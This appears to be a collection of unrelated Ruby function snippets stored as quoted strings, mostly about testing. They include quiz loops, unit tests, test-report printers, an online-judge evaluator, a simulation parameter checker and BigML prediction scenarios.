"def run_test\n puts \"What's the biggest number you'd like to be tested on?\"\n max_num = gets.chomp.to_i\n\n puts \"Ok we won't test you with numbers bigger than #{max_num}\"\n puts \"Between which 2 bases? (Please input 2 numbers, separated by space, e.g. 16, 2 or 2, 10)\"\n base1, base2 = gets.chomp.split(\" \").map { |i| i.to_i }\n\n while true\n # randomly choose the direction of the conversion\n from_base, to_base = [base1, base2].shuffle\n num = rand(max_num)\n next if num <= 1\n\n puts \"Convert the number #{num.to_s(from_base)} (in base #{from_base} to base #{to_base}).\"\n if gets.chomp.to_i(to_base) == num\n puts \"That's correct!\"\n else\n puts \"Incorrect. Should be #{num.to_s(to_base)}.\"\n end\n end\nend",
"def test\n\t\t@a+@b > @c && @a+@c > @b && @b+@c > @a\n\tend",
"def testSingleSuccessorGreaterPriority\n # Create 2 tasks of different priorities to 2 resources, 1 successor of the other\n executeSimpleTest(\n [ [ 'T1', 'R1', 200, 2, [], ' =='],\n [ 'T2', 'R2', 100, 2, ['T1'], '=='] ] )\n end",
"def compare_solutions(count = 5, n_min = 1, n_max = 300)\n arr = generate(count, n_min, n_max)\n if solve(arr) != solve_opt(arr)\n puts \"\\nFAILED\"\n puts 'data: ' + arr.to_s\n puts 'solution: ' + solve(arr).to_s\n puts 'optimized solution: ' + solve_opt(arr).to_s\n end\nend",
"def test_exercise_1124\n verify_method :exercise_1124,\n :with => [{params: [1111111, 1234567], expect: 1},\n {params: [33 * 7, 33 * 23], expect: 33},\n {params: [41 * 13, 41 * 29], expect: 41}]\n\n end",
"def evaluate\n\t\t# :mem, :cpu, :hang, :sig, :ok, :exit, :compile, :fail\n\t\tcodes = {}\n\t\tStatusCode.all.each { |c| codes[c.name.downcase.to_sym] = c.id }\n\t\tlanguage = @program.programming_language\n\t\tcompiler = language.compiler\n\t\texecution = language.execution\n\t\ttcmd = \"#{Rails.root.join('script/timeout/timeout')} -t %s -m %s\"\n\t\tTempfile.open('src', Rails.root.join('tmp')) do |file|\n\t\t\tfile.write(@program.source_code)\n\t\t\tfile.flush\n\t\t\toutfile = File.dirname(file.path) + '/test'\n\t\t\tOpen3.popen2e(compiler % {out: outfile, in: file.path}) do |_, _, thread|\n\t\t\t\texit_code = thread.value\n\t\t\t\tunless exit_code.success?\n\t\t\t\t\t@program.status_code_id = codes[:compile]\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\ttask = @program.programming_task\n\t\t\t\ttimelimit = task.time_limit\n\t\t\t\tmemlimit = task.memory_limit.megabytes / 1.kilobyte\n\t\t\t\ttimeout = tcmd % [timelimit, memlimit]\n\t\t\t\ttestcases = task.programming_test_cases\n\t\t\t\ttestcases.each do |testcase|\n\t\t\t\t\texecution = execution % {file: outfile}\n\t\t\t\t\tOpen3.popen3(\"#{timeout} #{execution}\") do |stdin, stdout, stderr, thread|\n\t\t\t\t\t\tstdin.write testcase.stdin\n\t\t\t\t\t\tstdin.flush\n\t\t\t\t\t\tstdin.close_write\n\t\t\t\t\t\texit_code = thread.value\n\t\t\t\t\t\toutput = stdout.read.gsub(/\\r\\n?/, \"\\n\").strip\n\t\t\t\t\t\texpected = testcase.stdout\n\t\t\t\t\t\terr = stderr.read\n\t\t\t\t\t\tstatus = nil\n\t\t\t\t\t\terr.split(\"\\n\").reverse.each do |line|\n\t\t\t\t\t\t\tnext if line[0] == \"<\"\n\t\t\t\t\t\t\tcase line.split.first\n\t\t\t\t\t\t\twhen \"TIMEOUT\"\n\t\t\t\t\t\t\t\tstatus = codes[:cpu]\n\t\t\t\t\t\t\twhen \"HANGUP\"\n\t\t\t\t\t\t\t\tstatus = codes[:hang]\n\t\t\t\t\t\t\twhen \"MEM\"\n\t\t\t\t\t\t\t\tstatus = codes[:mem]\n\t\t\t\t\t\t\twhen \"SIGNAL\"\n\t\t\t\t\t\t\t\tstatus = codes[:sig]\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif status.nil?\n\t\t\t\t\t\t\tstatus = codes[:ok] if output == expected\n\t\t\t\t\t\t\tstatus = codes[:fail] if output != expected\n\t\t\t\t\t\t\tstatus = codes[:exit] unless exit_code.success?\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\toutput = \"\"\n\t\t\t\t\t\tend\n\t\t\t\t\t\t@program.program_results.new(\n\t\t\t\t\t\t\tprogramming_test_case_id: testcase.id,\n\t\t\t\t\t\t\tstatus_code_id: status,\n\t\t\t\t\t\t\tlog: output\n\t\t\t\t\t\t)\n\t\t\t\t\t\t@program.status_code_id = status unless status == codes[:ok]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t@program.status_code_id = codes[:ok] if @program.status_code_id.nil?\n\t\t\tend\n\t\t\tFile.delete(outfile) if File.exist?(outfile)\n\t\tend\n\tend",
"def test_less_than_equal\n 3.should <= 5\n end",
"def check_parameters\n\n # Sections\n\n # Namelist Tests\n # Grids\n # Parallelisation\n # Initialisation\n # Diagnostics\n # Misc\n\n ##################\n # Namelist Tests #\n ##################\n\n rcp.namelists.each do |namelist, hash|\n next if hash[:should_include].kind_of? String and not eval(hash[:should_include])\n if en = hash[:enumerator]\n #ep 'en', en, namelist\n next unless send(en[:name])\n send(en[:name]).times do |i|\n run_namelist_tests(namelist, hash, i+1)\n end\n else\n run_namelist_tests(namelist, hash)\n end\n end\n\n ###############\n # Grid Errors #\n ###############\n\n # naky\n warning(\"Setting naky when non-linear mode is on is not recommended.\") if @naky and @nonlinear_mode == \"on\"\n\n warning(\"You have set both ny and naky; naky will override ny.\") if @ny and @naky\n\n error(\"abs(shat) should not be less that 1.0e-6\") if @shat and @shat.abs < 1.0e-6 and not agk?\n error(\"abs(s_hat_input) should not be less that 1.0e-6\") if @s_hat_input and @s_hat_input.abs < 1.0e-6 and not agk?\n\n # delt\n\n error(\"Please specify delt\") unless @delt\n error(\"delt <= 0\") if @delt <= 0.0\n warning(\"Nonlinear run with delt_minimum unspecified.\") if @nonlinear_mode==\"on\" and not @delt_minimum\n\n error(\"delt (#@delt) < delt_minimum\") if @delt and @delt_minimum and @delt < @delt_minimum\n\n # negrid\n warning('negrid < 8 is not a good idea!') if @negrid and @negrid < 8\n\n # nakx\n warning(\"You have set both nx and ntheta0; ntheta0 will override nx.\") if @nx and @ntheta0\n\n warning(\"Do you have a reason for setting equal_arc = true (default)? If not set false.\") if @equilibrium_option==\"eik\" and (!@equal_arc or @equal_arc.fortran_true?)\n\n warning(\"Recommend nperiod > 1 for linear runs.\") if @nonlinear_mode == \"off\" and (!@nperiod or @nperiod == 1)\n warning(\"Recommend nperiod = 1 for nonlinear runs.\") if @nonlinear_mode == \"on\" and (@nperiod > 1)\n\n warning(\"Consider using field_option = local and associated optimizations.\") if @field_option and @field_option == \"implicit\"\n\n #################################\n # Parallelisation/Layout Errors #\n #################################\n\n # Best linear run layout is lexys\n warning(\"The best layout for linear runs is usually lexys.\") if @nonlinear_mode==\"off\" and not @layout==\"lexys\"\n\n # Best nonlinear run layout is xyles\n warning(\"The best layout for nonlinear runs is usually xyles.\") if @nonlinear_mode==\"on\" and not @layout==\"xyles\"\n\n # Check whether we are parallelising over x\n warning(\"Parallelising over x: suggest total number of processors should be: #{max_nprocs_no_x}\") if actual_number_of_processors > max_nprocs_no_x and not @grid_option == \"single\"\n\n #########################\n # Initialisation Errors #\n #########################\n\n # Check if restart folder exists\n if @restart_file and @restart_file =~ /^(?<folder>[^\\/]+)\\//\n folder = $~[:folder]\n warning(\"Folder #{folder}, specified in restart_file, not present. NetCDF save may fail\") unless FileTest.exist?(folder)\n end\n\n error(\"Setting @restart_file as an empty string will result in hidden restart files.\") if @restart_file == \"\"\n\n error(\"ginit_option is 'many' but is_a_restart is false\") if @ginit_option == \"many\" and not @is_a_restart\n\n error(\"read_response is 'true' but run is not a restart. Make sure the \"\\\n \"@response_id is set to a run with response files.\") if \n @read_response and @read_response.fortran_true? and \n not @is_a_restart and not @response_id\n\n error(\"chop_side should not be used (remove test if default changes from T to F)\") if !@chop_side or @chop_side.fortran_true?\n\n #####################\n # Diagnostic errors #\n #####################\n\n #Check whether useful diagnostics have been omitted.\n\n not_set = [:write_verr, :save_for_restart, :write_nl_flux, :write_final_fields, :write_final_moments].find_all do |diagnostic|\n not (send(diagnostic) and send(diagnostic).fortran_true?)\n end\n\n if not_set.size > 0\n str = not_set.inject(\"\") do |s, diagnostic|\n s + \"\\n\\t#{diagnostic} --- \" + rcp.namelists[diagnostics_namelist][:variables][diagnostic][:description] rescue s\n end\n warning(\"The following useful diagnostics were not set:\" + str) if str.length > 0\n end\n\n warning(\"You are running in nonlinear mode but have not switched the nonlinear flux diagnostic.\") if not (@write_nl_flux and @write_nl_flux.fortran_true?) and @nonlinear_mode == \"on\"\n\n #{\n #write_verr: \"Velocity space diagnostics will not be output for this run\"\n #}.each do |var, warn|\n #warning(v\"#{var} not set or .false. --- \" + warn) unless send(var) and send(var).fortran_true?\n #end\n\n error(\"Please specify nwrite\") unless @nwrite\n error(\"Please specify nstep\") unless @nstep\n\n\n warning(\"You will write out diagnostics less than 50 times\") if @nstep/@nwrite < 50\n\n ########################\n # Miscellaneous errors #\n ########################\n\n error(\"The run name for this run is too long. Please move some of the variable settings to the local defaults file.\") if @relative_directory.size + @run_name.size > MAX_NAME_SIZE\n\n warning(\"You are submitting a nonlinear run with no dissipation.\") if @nonlinear_mode == \"on\" and @hyper_option==\"none\" and @collision_model==\"none\"\n\n warning(\"You have no spatial implicitness: (bakdif) for one of your species. Be prepared for numerical instabilities!\") if (1..@nspec).to_a.find{|i| bd = send(\"bakdif_#{i}\") and bd == 0}\n\n warning(\"The system will abort with rapid timestep changes...\") if !@abort_rapid_time_step_change or @abort_rapid_time_step_change.fortran_true?\n\n warning(\"local_field_solve is an old variable that should not really be used.\") if @local_field_solve and @local_field_solve.fortran_true?\n\n #############################\n # Boundary Condition Errors #\n #############################\n\n warning(\"Boundary option should be periodic for shat = 1e-6.\") if (!@boundary_option or @boundary_option != \"periodic\") and ((@s_hat_input and @s_hat_input.abs == 1.0e-6) or (@shat and @shat.abs == 1.0e-6))\n\n warning(\"Boundary option should be default (unconnected) for single and range mode with shat > 0.\") if (@boundary_option != \"default\") and ((@s_hat_input and @s_hat_input.abs > 1.0e-6) or (@shat and @shat.abs > 1.0e-6)) and (@grid_option == \"single\" or @grid_option == \"range\")\n\n warning(\"Boundary option should be linked for box mode with shat > 0.\") if (!@boundary_option or @boundary_option != \"linked\") and ((@s_hat_input and @s_hat_input.abs > 1.0e-6) or (@shat and @shat.abs > 1.0e-6)) and @grid_option == \"box\" \n\n error(\"Set nonad_zero = true.\") if @nonad_zero and not @nonad_zero.fortran_true?\n\n\n ###################\n # Spectrogk tests #\n ###################\n #\n if spectrogk?\n if @force_5d and @force_5d.fortran_true?\n warning(\"Must specify interpolation method with phi_method.\") if not (@phi_method)\n end\n end\n\n ################\n # Damping Rate #\n ################\n\n error(\"Linear runs with hyperviscosity are NOT recommended!\") if @nonlinear_mode==\"off\" and (@hyper_option and @hyper_option==\"visc_only\") and (@d_hypervisc and @d_hypervisc!=0)\n\n warning(\"Amplitude dependent part of hyperviscosity being ignored since const_amp = true\") if (@hyper_option and @hyper_option==\"visc_only\") and (@const_amp and @const_amp.fortran_true?)\n\n ###################\n # Geometry Errors #\n ###################\n\n error(\"You must set bishop = 4 for Miller(local) geometry. Remember also that s_hat_input will override shat\") if (@bishop!=4 and (@local_eq and @local_eq.fortran_true?))\n\n error(\"Shift should be > 0 for s-alpha equilibrium.\") if @equilibrium_option==\"s-alpha\" and (@shift and @shift < 0)\n error(\"Shift should be < 0 for Miller equilibrium.\") if @equilibrium_option==\"eik\" and @local_eq.fortran_true? and (@shift and @shift > 0)\n\n error(\"irho must be 2 for Miller equilibrium.\") if @equilibrium_option==\"eik\" and @local_eq.fortran_true? and (@irho and @irho!=2)\n\n warning(\"Note that shat != s_hat_input\") if @shat and @s_hat_input and @shat!=@s_hat_input\n\n ##################\n # Species Errors #\n ##################\n\n error(\"Must set z = -1 for electron species.\") if (@type_2 and @z_2 and @type_2=='electron' and @z_2 != -1)\n\n\n #################\n # Optimisations #\n #################\n\n if CODE_OPTIONS[:gs2] and CODE_OPTIONS[:gs2][:show_opt]\n eputs(\"Optimisation Summary:\")\n optimisation_flags.each do |flag|\n eputs(\"------------------------- #{flag}: #{send(flag)}\\n* #{rcp.variables_with_help[flag].gsub(/\\n/, \"\\n\\t\").sub(/\\A([^.]*.).*\\Z/m, '\\1')}\") \n end\n #not_set = [:operator, :save_for_restart, :write_nl_flux, :write_final_fields, :write_final_moments].find_all do |diagnostic|\n #not (send(diagnostic) and send(diagnostic).fortran_true?)\n #end\n\n #if not_set.size > 0\n #str = not_set.inject(\"\") do |s, diagnostic|\n #s + \"\\n\\t#{diagnostic} --- \" + rcp.namelists[diagnostics_namelist][:variables][diagnostic][:description] rescue s\n #end\n #warning(\"The following useful diagnostics were not set:\" + str) if str.length > 0\n #end\n end\n \n \n\n\nend",
"def clean_exit\n\ttasks_passed = all_by_exit_status(@task_data['test_exit_status_passed'])\n\ttasks_failed = all_by_exit_status(@task_data['test_exit_status_failed'])\n\ttasks_skipped = all_by_exit_status(@task_data['test_exit_status_skipped'])\n @task_data.merge!({'execution_time' => @chain.execution_time, 'tasks_passed' => tasks_passed, 'tasks_failed' => tasks_failed, 'tasks_skipped' => tasks_skipped})\n \n\tPublisher.new(@task_data).publish_reports\t \n\t\n if tasks_failed.length == 0\n\t\tputs \"[TCRESULT]=SUCCESSFUL\\n\"\n\telse\n\t\tputs \"[TCRESULT]=UNSUCCESSUL\\n\"\n\tend\n\t\n\tputs(\"\\n==> DONE\\n\\n\")\n puts(\"[ :: [SESSION]\\n\")\n puts(\"[TC] -- tests passed : #{tasks_passed.length.to_s}\\n\")\n puts(\"[TC] -- tests failed : #{tasks_failed.length.to_s}\\n\")\n puts(\"[TC] -- tests executed : #{@chain.executed_tasks.to_s}\\n\")\n puts(\"[TC] -- tests skipped : #{tasks_skipped.length.to_s}\\n\") \n puts(\"[TC] -- execution time : #{@chain.execution_time.to_s} secs\\n\")\t\n\tputs(\" -- reports prepared: #{@reports_dir}\\n\")\n puts(\" -- logs prepared : #{@logs_dir}\\n\")\n\t\n\tputs(\"[TC] The test run contained the following tasks :\\n\")\n\t@chain.get_tasknames.each do |taskname|\n\t\tputs(\"[TC] -> #{taskname}\\n\")\t\n\tend\n\t\t\n\tif @task_data['test_retry']\n\t\tputs(\" -- tests re-tried : #{@tests_retried_counter.to_s}\\n\")\n\tend\n\tif tasks_failed.length > 0\n\t\tputs(\"\\n\\n==> STATUS: [ some tests failed - execution failed ]\\n\")\n\t\texit(1)\n\tend\n\texit(0)\nend",
"def test\n\t\tvar = if @a >= @b+@c or @b >= @a+@c or @c >= @b+@a then 5\n\t\telsif @a == @b and @a == @c then var = 1\n\t\telsif @a**2 == @b**2 + @c**2 or @b**2 == @a**2 + @c**2 or\n\t\t\t@c**2 == @b**2 + @a**2 then var = 4\n\t\telsif @a == @b or @a == @c or @b == @c then var = 2\n\t\telse var = 3\n\t\tend\n\n\t\treturn var\n\tend",
"def test_costo_cafe\n print validate(177.56, costo_cafe(100.0,7))\n print validate(1537.30, costo_cafe(1000.0,5)) \n print validate(363.0, costo_cafe(300.0,2)) \nend",
"def clean_exit\n\ttasks_passed = all_by_exit_status(@task_data['test_exit_status_passed'])\n\ttasks_failed = all_by_exit_status(@task_data['test_exit_status_failed'])\n\ttasks_skipped = all_by_exit_status(@task_data['test_exit_status_skipped'])\n\ttasks_error \t = all_by_exit_status(@task_data['test_exit_status_error'])\n\tnoelement_error\t = all_by_exit_status(@task_data['test_exit_status_noelement'])\n @task_data.merge!({'execution_time' => @taskchain.execution_time, 'tasks_passed' => tasks_passed, 'tasks_failed' => tasks_failed, 'tasks_skipped' => tasks_skipped, 'tasks_error' => tasks_error, 'test_exit_status_noelement' => noelement_error })\n \n\tPublisher.new(@task_data).publish_reports\t \n\t\n\tputs(\"\\n==> DONE\\n\\n\")\n puts(\"[ ::\\n\")\n puts(\"[ :: [SESSION]\\n\")\n\tputs(\"[ ::\\n\")\n\t# Team City Result\n @teamcity_result = tasks_failed.length == 0 && tasks_error.length == 0 && noelement_error.length == 0 ? \"[TCRESULT]=SUCCESSFUL\\n\" : \"[TCRESULT]=UNSUCCESSFUL\\n\"\n\tputs @teamcity_result\n\tputs(\"[ ::\\n\")\n\t\n\tputs(\"[TC] Target BIZ File : [#{@neo_bizfile}]\")\n printf(\"%-27s %s\\n\",\"[TC] -- tests passed:\", tasks_passed.length.to_s)\n printf(\"%-27s %s\\n\",\"[TC] -- tests failed:\", tasks_failed.length.to_s)\n printf(\"%-27s %s\\n\",\"[TC] -- tests executed:\",@taskchain.executed_tasks.to_s)\n printf(\"%-27s %s\\n\",\"[TC] -- tests skipped:\", tasks_skipped.length.to_s)\n printf(\"%-27s %s\\n\",\"[TC] -- tests error:\", tasks_error.length.to_s)\n printf(\"%-27s %s\\n\",\"[TC] -- tests no element:\", noelement_error.length.to_s)\n printf(\"%-27s %.2f %s\\n\",\"[TC] -- execution time:\", @taskchain.execution_time, \"secs\")\n\tprintf(\" -- reports prepared \\t: #{ENV[\"reports\"]}\\n\")\n printf(\" -- logs prepared \\t: #{ENV[\"LOGS\"]}\\n\")\n\t\n\tputs(\"[TC] Tasklist :\\n\")\t\t\n\t@taskchain.taskchain_array.each do |task|\n\t\tputs(\"[TC] \\t{#{task.taskname}}\\n\")\t\t\t\n\t\ttask.examples.each do |ex|\n\t\t\tputs(\"[TC] \\t\\t[#{ex} ]\\n\")\n\t\tend\n\tend\n\n\tif tasks_error.length > 0\n\t\tputs(\"\\n\\n==> STATUS: [ some tests failed - execution failed ]\\n\")\n\t\texit(1)\n\telse\n\t\texit(0)\n\tend\nend",
"def result_of_checking; end",
"def mt_51_char_first_name\r\n# This is a negative test for the Mt4 CI Demo form\r\n $test_count = $test_count + 1\r\n $test_count1 = $test_count \r\n $results.puts \"\"\r\n $results.puts \"Starting MT4 51 char invalid format Test.\"\r\n setup_negative_test\r\n site_connect_ci\r\n accept_cookie_policy\r\n get_server_name\r\n mt_validate_title_demo_signup\r\n $results.puts \"51 char invalid format test, brand = \" + $brand\r\n mt_populate_form_first_name_51_char\r\n mt_populate_form_last_name\r\n mt_populate_form_email\r\n mt_populate_form_phone_number\r\n mt_negative_demo_form_submit\r\n mt_negative_validate_confirm_page\r\n $results.puts \"***** MT4 51 char First Name Test Completed, Status:\" \r\n $results.puts \"Total Test Executed Pass / Fail (Running Total for Test Audit Trail.)\"\r\n $results.puts \"Test Count = \" + $test_count1.to_s\r\n $results.puts \"Test Pass Count = \" + $test_pass_count.to_s\r\n $results.puts \"Test Failed Count = \" + $test_failed_count.to_s\r\n $summary_results.puts \"***** MT4 51 char First Name Test Completed, Status:\"\r\n $summary_results.puts \"Total Test Executed Pass / Fail (Running Total for Test Audit Trail.)\"\r\n $summary_results.puts \"Test Count = \" + $test_count1.to_s\r\n $summary_results.puts \"Test Pass Count = \" + $test_pass_count.to_s\r\n $summary_results.puts \"Test Failed Count = \" + $test_failed_count.to_s\r\n $results.puts \"***************************************************************************\"\r\n $results.puts \"End MT4 Negative Form Test 51 char First Name, Country = \" + $country \r\n $results.puts \"***************************************************************************\"\r\n $summary_results.puts \"*******************************************************************\"\r\n $summary_results.puts \"******* End MT4 51 char First Name Test. ************************\"\r\n $summary_results.puts \"*******************************************************************\"\r\nend",
"def is_a_teenager? (age)\n #age < 13\t#first failing test\n #age > 11 #second failing test\n #age = 20 #third failing test\n\n age > 12 && age < 20\n\n\nend",
"def test_greater_than_equal\n 3.should >= 2\n end",
"def run_test(tests, ints_to_test, current_test_name)\n require \"./primality_tests/\" + current_test_name + \".rb\"\n tests[current_test_name.to_sym][:result] = []\n ints_to_test.each {|int|\n tests[current_test_name.to_sym][:result] << send(current_test_name, int)\n }\nend",
"def test_runnable_methods_random\n @assertion_count = 0\n\n random_tests_1 = sample_test_case 42\n random_tests_2 = sample_test_case 42\n random_tests_3 = sample_test_case 1_000\n\n assert_equal random_tests_1, random_tests_2\n refute_equal random_tests_1, random_tests_3\n end",
"def assert_equal(actual, expected)\n\tif actual == expected\n\t\tputs \"pass\"\n\telse\n\t\tputs \"fail\"\nend\n \nassert_equal(1,1) #=> pass\nassert_equal(2,1) #=> fail\n \n# Use assert to test the following:\n \n# define a method to sum the values of an array. Make this method defend against nils and\n# other errors\n \ndef sum(numbers)\n\tresult = 0\n\tnumbers.collect do |i|\n\tresult += i if i.is_a? Integer\n\tend\n\tresult\nend\n \nassert_equal sum([]), 0\nassert_equal sum([1,2]), 3\nassert_equal sum([1,nil,2]), 3\nassert_equal sum([1, \"2\", 2]), 3\n \n# define a method that returns comfortable for temps between 60-80, cold for below and hot\n# for above.\n \ndef temperature_bot(temp)\n\tif temp >=60 && temp <=80\n\t\tputs \"comfortable\"\n\telsif temp < 60\n\t\tputs \"cold\"\n\telse\n\t\tputs \"hot\"\n\tend\nend\n \nassert_equal temperature_bot(65), \"comfortable\"\nassert_equal temperature_bot(70), \"comfortable\"\nassert_equal temperature_bot(85), \"hot\"\nassert_equal temperature_bot(30), \"cold\"\n \n# define an object, Person, that has a birthdate and a name. Define a method for a person\n# that returns their age.\n\nclass Person\n\tattr_accessor :birthday, :name\n\n\tdef age\n\t\tbirth_year = @birthday.split(\"/\").last.to_i\n\t\tTime.now.year - birth_year\n\tend\nend\n\n\nbegin\n person = Person.new\n person.name = \"Alan Turing\"\n person.birthday = \"06/23/1912\"\n \n assert_equal person.name, \"Alan Turing\"\n assert_equal person.birthday, \"06/23/1912\"\n assert_equal person.age, 101\n \nrescue => e\n puts \"Fail: #{e}\"\nend",
"def evalscenarios(scenarios)\n data={} # = { pass: pass, fail: fail, error: error, datetime: datetime1, resultinfo1: result1}\n count=0\n runstopped = nil\n latestdate =nil\n\n scenarios.each do |test|\n begin\n count +=1\n pf = eeval(test['status']) if test.has_key?('status')\n dt = eeval(test['datetime']) if test.has_key?('datetime')\n sc = eeval(test['scenario']) if test.has_key?('scenario')\n ff = eeval(test['failstep']) if test.has_key?('failstep')\n if pf\n if pf == \"pass\"\n data[\"pass#{count}\"] = \"PASS\"\n elsif pf == \"fail\"\n data[\"fail#{count}\"] = \"FAIL\"\n elsif pf == \"error\"\n data[\"error#{count}\"] = \"ERROR\"\n end\n if dt\n #testdate = DateTime.parse(dt)\n #data[\"datetime#{count}\"] = testdate.strftime(\"%F %T\")\n starttime = Time.parse(dt).localtime\n dtlocal =starttime.strftime(\"%F %T\")\n data[\"datetime#{count}\"]=dtlocal\n end\n if sc\n data[\"scenario#{count}\"] = sc\n puts \"\\t#{pf}:#{dt}-#{sc}\"\n end\n if ff and pf != \"pass\"\n data[\"resultinfo#{count}\"] = ff\n else\n data[\"resultinfo#{count}\"] = \"\"\n end\n end\n rescue => e\n puts \"ERROR scenarios.each do |test| SCENARIO:#{count}\\n#{e}\"\n end\n end\n return runstopped, latestdate, data\nend",
"def test_scenario9\n \n data = [[File.dirname(__FILE__)+'/data/iris.csv', {\"petal length\" => 5}, \"000004\", 'Iris-versicolor', {}, \"probability\"],\n [File.dirname(__FILE__)+'/data/iris.csv', {\"petal length\" => 2}, \"000004\", 'Iris-setosa', {}, \"probability\" ]\n ]\n puts\n puts \"Scenario: Successfully comparing predictions for logistic regressions with operating kind and supervised model:\"\n\n data.each do |filename, data_input, objective, prediction_result, params, operating_kind|\n puts\n puts \"Given I create a data source uploading a <%s> file\" % filename\n source = @api.create_source(filename, {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n \n puts \"And I create a dataset\"\n dataset=@api.create_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n \n puts \"And I create a logistic regression with objective\" \n logisticregression=@api.create_logisticregression(dataset)\n\n puts \"And I wait until the logistic regression is ready\"\n assert_equal(BigML::HTTP_CREATED, logisticregression[\"code\"])\n assert_equal(1, logisticregression[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(logisticregression), true)\n \n puts \"And I create a local logistic regression\"\n localSupervisedModel = BigML::SupervisedModel.new(logisticregression)\n\n puts \"When I create a prediction for <%s>\" % [JSON.generate(data_input)]\n prediction = @api.create_prediction(logisticregression['resource'], data_input, {\"operating_kind\" => operating_kind})\n \n assert_equal(BigML::HTTP_CREATED, prediction[\"code\"])\n assert_equal(@api.ok(prediction), true)\n\n puts \"Then the prediction for <%s> is <%s>\" % [objective, prediction_result]\n \n if !prediction['object']['prediction'][objective].is_a?(String)\n assert_equal(prediction['object']['prediction'][objective].to_f.round(5), prediction_result.to_f.round(5))\n else\n assert_equal(prediction['object']['prediction'][objective], prediction_result)\n end\n \n puts \"And I create a local prediction for <%s>\" % JSON.generate(data_input)\n local_prediction = localSupervisedModel.predict(data_input, {\"operating_kind\" => operating_kind})\n \n puts \"Then the local prediction is <%s>\" % prediction_result\n \n if local_prediction.is_a?(Array)\n local_prediction = local_prediction[0]\n elsif local_prediction.is_a?(Hash)\n local_prediction = local_prediction['prediction']\n else\n local_prediction = local_prediction\n end \n\n assert_equal(local_prediction, prediction_result)\n \n end\n \n end",
"def call(tests)\n Result::Test.new(\n output: '',\n passed: true,\n runtime: 0.0,\n tests: tests\n )\n end",
"def _test_numbers ; process_test_case(\"numbers\") ; end",
"def main\n test_num = gets.chomp.to_i\n test_num.times do |t|\n # input\n num = gets.chomp.to_i\n\n ans = calc(num)\n \n puts \"Case ##{t+1}: #{ans}\"\n end\nend",
"def test_scenario8\n \n data = [[File.dirname(__FILE__)+'/data/iris.csv', {\"petal length\" => 5}, \"000004\", 'Iris-versicolor', {}, \"probability\"],\n [File.dirname(__FILE__)+'/data/iris.csv', {\"petal length\" => 2}, \"000004\", 'Iris-setosa', {}, \"probability\" ]\n ]\n puts\n puts \"Scenario: Successfully comparing predictions for logistic regressions with operating kind\"\n\n data.each do |filename, data_input, objective, prediction_result, params, operating_point|\n puts\n puts \"Given I create a data source uploading a <%s> file\" % filename\n source = @api.create_source(filename, {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n \n puts \"And I create a dataset\"\n dataset=@api.create_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n \n puts \"And I create a logistic regression with objective\" \n logisticregression=@api.create_logisticregression(dataset)\n\n puts \"And I wait until the logistic regression is ready\"\n assert_equal(BigML::HTTP_CREATED, logisticregression[\"code\"])\n assert_equal(1, logisticregression[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(logisticregression), true)\n \n puts \"And I create a local logistic regression\"\n localLogisticRegression = BigML::Logistic.new(logisticregression)\n\n puts \"When I create a prediction for <%s>\" % [JSON.generate(data_input)]\n prediction = @api.create_prediction(logisticregression['resource'], data_input, {\"operating_kind\" => operating_point})\n \n assert_equal(BigML::HTTP_CREATED, prediction[\"code\"])\n assert_equal(@api.ok(prediction), true)\n\n puts \"Then the prediction for <%s> is <%s>\" % [objective, prediction_result]\n \n if !prediction['object']['prediction'][objective].is_a?(String)\n assert_equal(prediction['object']['prediction'][objective].to_f.round(5), prediction_result.to_f.round(5))\n else\n assert_equal(prediction['object']['prediction'][objective], prediction_result)\n end\n \n puts \"And I create a local prediction for <%s>\" % JSON.generate(data_input)\n local_prediction = localLogisticRegression.predict(data_input, {\"operating_kind\" => operating_point})\n \n puts \"Then the local prediction is <%s>\" % prediction_result\n \n if local_prediction.is_a?(Array)\n local_prediction = local_prediction[0]\n elsif local_prediction.is_a?(Hash)\n local_prediction = local_prediction['prediction']\n else\n local_prediction = local_prediction\n end \n\n assert_equal(local_prediction, prediction_result)\n \n end\n \n end",
"def failures; end",
"def failures; end",
"def failures; end",
"def testTaskShiftedByFarSuccessor\n executeSimpleTest(\n [ [ 'T1', 'R2', 800, 2, ['T2'], ' =='],\n [ 'T2', 'R1', 1000, 2, [], ' =='],\n [ 'T3', 'R1', 200, 4, ['T2'], '===='],\n [ 'T4', 'R2', 900, 2, ['T5'], '=='],\n [ 'T5', 'R1', 850, 2, [], ' =='] ] )\n end",
"def check_solution(test_number, array, expected)\n actual = is_sorted?(array)\n if actual != expected\n puts \"Test ##{test_number}: Incorrect value: got #{actual}, expected #{expected}\"\n return false\n end\n\n puts \"Test ##{test_number}: Correct\"\n return true\nend",
"def check_solution(test_number, array, expected)\n actual = is_sorted?(array)\n if actual != expected\n puts \"Test ##{test_number}: Incorrect value: got #{actual}, expected #{expected}\"\n return false\n end\n\n puts \"Test ##{test_number}: Correct\"\n return true\nend",
